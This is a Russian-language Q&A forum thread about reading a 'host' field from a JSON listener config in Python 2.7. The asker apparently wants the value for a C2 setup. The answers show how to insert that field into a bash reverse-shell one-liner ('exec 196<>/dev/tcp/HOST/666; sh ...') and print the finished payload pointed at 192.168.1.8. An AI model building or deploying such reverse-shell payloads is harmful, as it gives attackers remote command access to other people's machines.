Необходимо прочитать ОДНУ переменную из файла JSON для ввода в качестве переменной в другой части скрипта - PullRequest
0 голосов
/ 28 апреля 2018

У меня проблемы с python 2.7. У меня есть следующий JSON-файл, из которого я пытаюсь извлечь только переменную HOST:

{
    "443": {
        "ssl": true,
        "host": "192.168.1.8",
        "cert": "v3ga.pem",
        "name": "Test",
        "open": false
    }
}

Далее в моем скрипте есть пункт, в который я хотел бы ввести ТОЛЬКО IP "хоста" как 192.168.1.8.

Я попытался использовать следующий фрагмент, который извлекает все переменные:

import json
from pprint import pprint
data = json.load(open('config/listener.json'))
pprint(data)

Что возвращает:

{
    "u'443'": {
        "u'cert'": "u'fruityc2.pem'",
        "u'host'": "u'192.168.1.8'",
        "u'name'": "u'Test'",
        "u'open'": false,
        "u'ssl'": true
    }
}

Как мне вставить это в ('0 <& 196; exec 196 <> / dev / tcp / HOST / 666; sh <& 196> & 196 2> & 196') , чтобы он мог печатать соответствующим образом в рамках которого я пытаюсь создать?

Ответы [ 2 ]

0 голосов
/ 28 апреля 2018

Предполагая, что я получил ваш вопрос (вы написали вопрос в очень расплывчатой ​​форме) ... вы пытаетесь получить значение '192.168.1.8', связанное с ключом 'host', которое хранится в словаре в заданная строка хеша. Попробуйте следующий код ->

import json
from pprint import pprint   
data = json.load(open('config/listener.json'))
host = data['443']['host']
hash_string = ('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host))
print hash_string

Вывод будет ->

0<&196;exec 196<>/dev/tcp/192.168.1.8/666; sh <&196 >&196 2>&196

Здесь, в переменной hash_string, значение хеш-функции хранится как «строка», а не как набор. Я предполагаю, что вы хотели именно так, если нет ... тогда просто добавьте запятую в конце, как это ->

hash_string=('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host),)

Надеюсь, это помогло! и я надеюсь, что я правильно ответил на ваш вопрос, если нет, попробуйте объяснить его более подробно, и я отредактирую свой ответ:)

0 голосов
/ 28 апреля 2018

Этот вопрос очень похож на этот пост: Разбор значений из файла JSON?

Итак, вы, вероятно, просто должны получить к нему доступ:

data["443"]["host"]

Если это "('0 <& 196; exec 196 <> / dev / tcp / HOST / 666; sh <& 196> & 196 2> & 196')" является строкой ..., то:

"('0<&196;exec 196<>/dev/tcp/" + data["443"]["host"] + "/666; sh <&196 >&196 2>&196')"

Надеюсь, это поможет.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...